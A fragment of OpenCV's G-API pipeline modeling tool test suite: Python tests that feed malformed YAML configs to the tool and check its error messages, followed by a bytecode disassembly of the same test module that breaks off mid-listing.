[1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --pl_mode=unknown".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Unsupported PLMode: unknown\n" "Please chose between: streaming and regular" ) def test_error_invalid_pl_mode(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --app_mode=unknown".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Unsupported AppMode: unknown\n" "Please chose between: realtime and benchmark" ) def test_error_drop_frames_with_streaming(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --pl_mode=streaming --drop_frames".format( pipeline_modeling_tool, cfg_file ) out = get_output(exec_str) assert out.startswith( '--drop_frames option is supported only for pipelines in "regular" mode' ) def test_incorrect_call_every_nth(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' call_every_nth: {}\" """ error = "Node0 call_every_nth must be greater than zero\nCurrent call_every_nth: {}" def check(cfg_file, call_every_nth): out = get_output( "{} --cfg={}".format( pipeline_modeling_tool, cfg_file.format(call_every_nth) ) ) assert out.startswith(error.format(call_every_nth)) check(cfg_file, -3) check(cfg_file, 0) def test_error_no_worktime_and_num_iters(): cfg_file = """\"%YAML:1.0 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,1] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed: Pipeline PL1 doesn't have stop criterion!")
data/opencv-python-4.9.0.80/opencv/modules/gapi/samples/pipeline_modeling_tool/test_pipeline_modeling_tool.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME subprocess STORE_NAME subprocess LOAD_NAME os LOAD_METHOD getenv LOAD_CONST 'PIPELINE_MODELING_TOOL' CALL_METHOD STORE_NAME pipeline_modeling_tool LOAD_CONST <code object get_output at 0x7fab823bec90, file "f.py", line 7> LOAD_CONST 'get_output' MAKE_FUNCTION STORE_NAME get_output LOAD_CONST <code object test_error_no_config_specified at 0x7fab823beed0, file "f.py", line 19> LOAD_CONST 'test_error_no_config_specified' MAKE_FUNCTION STORE_NAME test_error_no_config_specified LOAD_CONST <code object test_error_no_config_exists at 0x7fabdc1d0c00, file "f.py", line 24> LOAD_CONST 'test_error_no_config_exists' MAKE_FUNCTION STORE_NAME test_error_no_config_exists LOAD_CONST <code object test_error_work_time_not_positive at 0x7fab82132780, file "f.py", line 32> LOAD_CONST 'test_error_work_time_not_positive' MAKE_FUNCTION STORE_NAME test_error_work_time_not_positive LOAD_CONST <code object test_error_no_pipelines at 0x7fab82132270, file "f.py", line 41> LOAD_CONST 'test_error_no_pipelines' MAKE_FUNCTION STORE_NAME test_error_no_pipelines LOAD_CONST <code object test_error_pipelines_node_not_map at 0x7fab82132930, file "f.py", line 50> LOAD_CONST 'test_error_pipelines_node_not_map' MAKE_FUNCTION STORE_NAME test_error_pipelines_node_not_map LOAD_CONST <code object test_error_config_not_contain_pl at 0x7fab82132300, file "f.py", line 60> LOAD_CONST 'test_error_config_not_contain_pl' MAKE_FUNCTION STORE_NAME test_error_config_not_contain_pl LOAD_CONST <code object test_error_no_source at 0x7fab82132420, file "f.py", line 71> LOAD_CONST 'test_error_no_source' MAKE_FUNCTION STORE_NAME test_error_no_source LOAD_CONST <code object test_error_source_no_name at 0x7fab82132390, file "f.py", line 83> LOAD_CONST 'test_error_source_no_name' MAKE_FUNCTION STORE_NAME test_error_source_no_name LOAD_CONST <code object test_error_source_no_latency at 0x7fab821328a0, file "f.py", line 95> LOAD_CONST 'test_error_source_no_latency' MAKE_FUNCTION STORE_NAME test_error_source_no_latency LOAD_CONST <code object test_error_source_no_output at 0x7fab82132d20, file "f.py", line 108> LOAD_CONST 'test_error_source_no_output' MAKE_FUNCTION STORE_NAME test_error_source_no_output LOAD_CONST <code object test_error_source_output_no_dims at 0x7fab82132ed0, file "f.py", line 122> LOAD_CONST 'test_error_source_output_no_dims' MAKE_FUNCTION STORE_NAME test_error_source_output_no_dims LOAD_CONST <code object test_error_source_output_no_precision at 0x7fab82132e40, file "f.py", line 137> LOAD_CONST 'test_error_source_output_no_precision' MAKE_FUNCTION STORE_NAME test_error_source_output_no_precision LOAD_CONST <code object test_error_no_nodes at 0x7fab703a5c90, file "f.py", line 153> LOAD_CONST 'test_error_no_nodes' MAKE_FUNCTION STORE_NAME test_error_no_nodes LOAD_CONST <code object test_error_nodes_not_sequence at 0x7fab703a5a50, file "f.py", line 170> LOAD_CONST 'test_error_nodes_not_sequence' MAKE_FUNCTION STORE_NAME test_error_nodes_not_sequence LOAD_CONST <code object test_error_node_no_name at 0x7fab703a5390, file "f.py", line 188> LOAD_CONST 'test_error_node_no_name' MAKE_FUNCTION STORE_NAME test_error_node_no_name LOAD_CONST <code object test_error_node_no_type at 0x7fab703a5540, file "f.py", line 207> LOAD_CONST 'test_error_node_no_type' MAKE_FUNCTION STORE_NAME test_error_node_no_type LOAD_CONST <code object test_error_node_unknown_type at 0x7fab703a5db0, file "f.py", line 226> LOAD_CONST 'test_error_node_unknown_type' MAKE_FUNCTION STORE_NAME test_error_node_unknown_type LOAD_CONST <code object test_error_node_dummy_no_time at 0x7fab703a5f60, file "f.py", line 246> LOAD_CONST 'test_error_node_dummy_no_time' MAKE_FUNCTION STORE_NAME test_error_node_dummy_no_time LOAD_CONST <code object test_error_node_dummy_not_positive_time at 0x7fab703a5270, file "f.py", line 266> LOAD_CONST 'test_error_node_dummy_not_positive_time' MAKE_FUNCTION STORE_NAME test_error_node_dummy_not_positive_time LOAD_CONST <code object test_error_node_dummy_no_output at 0x7fab703a5150, file "f.py", line 287> LOAD_CONST 'test_error_node_dummy_no_output' MAKE_FUNCTION STORE_NAME test_error_node_dummy_no_output LOAD_CONST <code object test_error_node_infer_no_model_path at 0x7fab703a5c00, file "f.py", line 308> LOAD_CONST 'test_error_node_infer_no_model_path' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_model_path LOAD_CONST <code object test_error_node_infer_no_input_layers at 0x7fab703a5930, file "f.py", line 335> LOAD_CONST 'test_error_node_infer_no_input_layers' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_input_layers LOAD_CONST <code object test_error_node_infer_input_layers_are_empty at 0x7fab703a5780, file "f.py", line 358> LOAD_CONST 'test_error_node_infer_input_layers_are_empty' MAKE_FUNCTION STORE_NAME test_error_node_infer_input_layers_are_empty LOAD_CONST <code object test_error_node_infer_no_output_layers at 0x7fab703a5d20, file "f.py", line 383> LOAD_CONST 'test_error_node_infer_no_output_layers' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_output_layers LOAD_CONST <code object test_error_node_infer_output_layers_are_empty at 0x7fab703a5b70, file "f.py", line 408> LOAD_CONST 'test_error_node_infer_output_layers_are_empty' MAKE_FUNCTION STORE_NAME test_error_node_infer_output_layers_are_empty LOAD_CONST <code object test_error_no_edges at 0x7fab703a5660, file "f.py", line 434> LOAD_CONST 'test_error_no_edges' MAKE_FUNCTION STORE_NAME test_error_no_edges LOAD_CONST <code object test_error_edges_not_sequence at 0x7fab703a5300, file "f.py", line 459> LOAD_CONST 'test_error_edges_not_sequence' MAKE_FUNCTION STORE_NAME test_error_edges_not_sequence LOAD_CONST <code object test_error_edges_no_from at 0x7fab703a5420, file "f.py", line 485> LOAD_CONST 'test_error_edges_no_from' MAKE_FUNCTION STORE_NAME test_error_edges_no_from LOAD_CONST <code object test_error_edges_no_to at 0x7fab703a5030, file "f.py", line 512> LOAD_CONST 'test_error_edges_no_to' MAKE_FUNCTION STORE_NAME test_error_edges_no_to LOAD_CONST <code object test_error_edges_from_not_exists at 0x7fab703a51e0, file "f.py", line 539> LOAD_CONST 'test_error_edges_from_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_from_not_exists LOAD_CONST <code object test_error_edges_from_port_not_exists at 0x7fab703a5810, file "f.py", line 567> LOAD_CONST 'test_error_edges_from_port_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_from_port_not_exists LOAD_CONST <code object test_error_edges_to_not_exists at 0x7fab703a5ae0, file "f.py", line 595> LOAD_CONST 'test_error_edges_to_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_to_not_exists LOAD_CONST <code object test_error_edges_to_port_not_exists at 0x7fab703a58a0, file "f.py", line 623> LOAD_CONST 'test_error_edges_to_port_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_to_port_not_exists LOAD_CONST <code object test_error_connect_to_source at 0x7fab703a55d0, file "f.py", line 651> LOAD_CONST 'test_error_connect_to_source' MAKE_FUNCTION STORE_NAME test_error_connect_to_source LOAD_CONST <code object test_error_double_edge at 0x7fab703a50c0, file "f.py", line 679> LOAD_CONST 'test_error_double_edge' MAKE_FUNCTION STORE_NAME test_error_double_edge LOAD_CONST <code object test_error_double_edge at 0x7fab703a59c0, file "f.py", line 709> LOAD_CONST 'test_error_double_edge' MAKE_FUNCTION STORE_NAME test_error_double_edge LOAD_CONST <code object test_node_has_dangling_input at 0x7fab703a56f0, file "f.py", line 739> LOAD_CONST 'test_node_has_dangling_input' MAKE_FUNCTION STORE_NAME test_node_has_dangling_input LOAD_CONST <code object test_error_has_cycle_0 at 0x7fab703a5e40, file "f.py", line 776> LOAD_CONST 'test_error_has_cycle_0' MAKE_FUNCTION STORE_NAME test_error_has_cycle_0 LOAD_CONST <code object test_error_has_cycle_0 at 0x7fab703a5ed0, file "f.py", line 808> LOAD_CONST 'test_error_has_cycle_0' MAKE_FUNCTION STORE_NAME test_error_has_cycle_0 LOAD_CONST <code object test_error_no_load_config_exists at 0x7fab822ea420, file "f.py", line 849> LOAD_CONST 'test_error_no_load_config_exists' MAKE_FUNCTION STORE_NAME test_error_no_load_config_exists LOAD_CONST <code object test_error_invalid_app_mode at 0x7fab822eac90, file "f.py", line 878> LOAD_CONST 'test_error_invalid_app_mode' MAKE_FUNCTION STORE_NAME test_error_invalid_app_mode LOAD_CONST <code object test_error_invalid_pl_mode at 0x7fab822ea6f0, file "f.py", line 907> LOAD_CONST 'test_error_invalid_pl_mode' MAKE_FUNCTION STORE_NAME test_error_invalid_pl_mode LOAD_CONST <code object test_error_drop_frames_with_streaming at 0x7fab822ead20, file "f.py", line 936> LOAD_CONST 'test_error_drop_frames_with_streaming' MAKE_FUNCTION STORE_NAME test_error_drop_frames_with_streaming LOAD_CONST <code object test_incorrect_call_every_nth at 0x7fab822ea780, file "f.py", line 967> LOAD_CONST 'test_incorrect_call_every_nth' MAKE_FUNCTION STORE_NAME test_incorrect_call_every_nth LOAD_CONST <code object test_error_no_worktime_and_num_iters at 0x7fab822ea0c0, file "f.py", line 997> LOAD_CONST 'test_error_no_worktime_and_num_iters' MAKE_FUNCTION STORE_NAME test_error_no_worktime_and_num_iters LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 32 LOAD_GLOBAL subprocess LOAD_ATTR check_output LOAD_FAST exec_str LOAD_GLOBAL subprocess LOAD_ATTR STDOUT LOAD_CONST True LOAD_CONST ('stderr', 'shell') CALL_FUNCTION LOAD_METHOD strip CALL_METHOD LOAD_METHOD decode CALL_METHOD STORE_FAST out POP_BLOCK JUMP_FORWARD to 82 DUP_TOP LOAD_GLOBAL subprocess LOAD_ATTR CalledProcessError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST exc POP_TOP SETUP_FINALLY to 68 LOAD_FAST exc LOAD_ATTR output LOAD_METHOD strip CALL_METHOD LOAD_METHOD decode CALL_METHOD STORE_FAST out POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST exc DELETE_FAST exc END_FINALLY POP_EXCEPT JUMP_FORWARD to 82 END_FINALLY LOAD_FAST out RETURN_VALUE LOAD_GLOBAL get_output LOAD_GLOBAL pipeline_modeling_tool CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Config must be specified via --cfg option' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'not_existing_cfg.yml' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Failed to open config file: not_existing_cfg.yml' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: -1" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'work_time must be positive' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Config must contain field: Pipelines' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipelines field must be a map' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --exec_list=PL2' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipelines must contain field: PL2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n queue_capacity: 1" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: source' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: name' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: latency' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: output' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output must contain field: dims' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output must contain field: precision' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: nodes' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'nodes in PL1 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n -" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'node must contain field: name' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'node must contain field: type' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Unknown\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported node type: Unknown' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: time' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: -0.2" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 time must be positive' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: output' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Path to OpenVINO model must be specified in either of two formats:\n1.\n xml: path to *.xml\n bin: path to *.bin\n2.\n blob: path to *.blob' STORE_FAST error_msg LOAD_FAST out LOAD_METHOD startswith LOAD_FAST error_msg CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: input_layers' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n " ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'input_layers in Node0 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n - \'layer_name\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: output_layers' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n - \'layer_name\'\n output_layers:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output_layers in Node0 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str 